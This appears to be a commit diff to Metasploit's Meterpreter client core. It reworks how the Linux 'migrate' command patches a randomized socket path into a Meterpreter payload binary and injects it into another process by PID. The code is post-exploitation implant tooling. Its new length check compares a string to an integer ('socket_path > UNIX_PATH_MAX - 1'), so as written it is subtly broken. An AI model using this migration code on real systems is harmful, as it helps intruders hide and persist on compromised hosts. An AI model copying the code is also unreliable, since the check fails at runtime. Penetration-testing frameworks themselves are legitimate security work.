@@ -25,6 +25,9 @@ module Meterpreter
25
25
###
26
26
class ClientCore < Extension
27
27
28
+ UNIX_PATH_MAX = 108
29
+ DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30
+
28
31
#
29
32
# Initializes the 'core' portion of the meterpreter client commands.
30
33
#
@@ -180,7 +183,7 @@ def use(mod, opts = { })
180
183
# Migrates the meterpreter instance to the process specified
181
184
# by pid. The connection to the server remains established.
182
185
#
183
- def migrate ( pid , socket_path = "/tmp/meterpreter.sock " )
186
+ def migrate ( pid , writable_dir = "/tmp/" )
184
187
keepalive = client . send_keepalives
185
188
client . send_keepalives = false
186
189
process = nil
@@ -216,23 +219,44 @@ def migrate(pid, socket_path="/tmp/meterpreter.sock")
216
219
end
217
220
218
221
if client . platform =~ /linux/
219
- if socket_path . blank?
220
- socket_path = "/tmp/meterpreter.sock "
222
+ if writable_dir . blank?
223
+ writable_dir = "/tmp/"
221
224
end
222
225
223
- socket_dir = ::File . dirname ( socket_path )
224
- stat_dir = client . fs . filestat . new ( socket_dir )
226
+ stat_dir = client . fs . filestat . new ( writable_dir )
225
227
226
228
unless stat_dir . directory?
227
- raise RuntimeError , "Directory #{ socket_dir } not found" , caller
229
+ raise RuntimeError , "Directory #{ writable_dir } not found" , caller
228
230
end
229
231
# Rex::Post::FileStat#writable? isn't available
230
232
end
231
233
232
- blob = generate_payload_stub ( client , process , socket_path )
234
+ blob = generate_payload_stub ( client , process )
233
235
234
236
# Build the migration request
235
237
request = Packet . create_request ( 'core_migrate' )
238
+
239
+ if client . platform =~ /linux/i
240
+ socket_path = File . join ( writable_dir , Rex ::Text . rand_text_alpha_lower ( 5 + rand ( 5 ) ) )
241
+
242
+ if socket_path > UNIX_PATH_MAX - 1
243
+ raise RuntimeError , "The writable dir is too long" , caller
244
+ end
245
+
246
+ pos = blob . index ( DEFAULT_SOCK_PATH )
247
+
248
+ if pos . nil?
249
+ raise RuntimeError , "The meterpreter binary is wrong" , caller
250
+ end
251
+
252
+ blob [ pos , socket_path . length + 1 ] = socket_path + "\x00 "
253
+
254
+ ep = elf_ep ( blob )
255
+ request . add_tlv ( TLV_TYPE_MIGRATE_BASE_ADDR , 0x20040000 )
256
+ request . add_tlv ( TLV_TYPE_MIGRATE_ENTRY_POINT , ep )
257
+ request . add_tlv ( TLV_TYPE_MIGRATE_SOCKET_PATH , socket_path , false , client . capabilities [ :zlib ] )
258
+ end
259
+
236
260
request . add_tlv ( TLV_TYPE_MIGRATE_PID , pid )
237
261
request . add_tlv ( TLV_TYPE_MIGRATE_LEN , blob . length )
238
262
request . add_tlv ( TLV_TYPE_MIGRATE_PAYLOAD , blob , false , client . capabilities [ :zlib ] )
@@ -242,13 +266,6 @@ def migrate(pid, socket_path="/tmp/meterpreter.sock")
242
266
request . add_tlv ( TLV_TYPE_MIGRATE_ARCH , 1 ) # PROCESS_ARCH_X86
243
267
end
244
268
245
- if client . platform =~ /linux/i
246
- ep = elf_ep ( blob )
247
- request . add_tlv ( TLV_TYPE_MIGRATE_BASE_ADDR , 0x20040000 )
248
- request . add_tlv ( TLV_TYPE_MIGRATE_ENTRY_POINT , ep )
249
- request . add_tlv ( TLV_TYPE_MIGRATE_SOCKET_PATH , socket_path , false , client . capabilities [ :zlib ] )
250
- end
251
-
252
269
# Send the migration request (bump up the timeout to 60 seconds)
253
270
client . send_request ( request , 60 )
254
271
@@ -344,12 +361,12 @@ def shutdown
344
361
345
362
private
346
363
347
- def generate_payload_stub ( client , process , socket_path )
364
+ def generate_payload_stub ( client , process )
348
365
case client . platform
349
366
when /win/i
350
367
blob = generate_windows_stub ( client , process )
351
368
when /linux/i
352
- blob = generate_linux_stub ( socket_path )
369
+ blob = generate_linux_stub
353
370
else
354
371
raise RuntimeError , "Unsupported platform '#{ client . platform } '"
355
372
end
@@ -405,21 +422,12 @@ def generate_windows_stub(client, process)
405
422
blob
406
423
end
407
424
408
- def generate_linux_stub ( socket_path )
409
- pos = nil
425
+ def generate_linux_stub
410
426
file = ::File . join ( Msf ::Config . data_directory , "meterpreter" , "msflinker_linux_x86.bin" )
411
427
blob = ::File . open ( file , "rb" ) { |f |
412
428
f . read ( f . stat . size )
413
429
}
414
430
415
- unless socket_path . blank?
416
- pos = blob . index ( "/tmp/meterpreter.sock" )
417
- end
418
-
419
- unless pos . nil?
420
- blob [ pos , socket_path . length + 1 ] = socket_path + "\x00 "
421
- end
422
-
423
431
blob
424
432
end
425
433
0 commit comments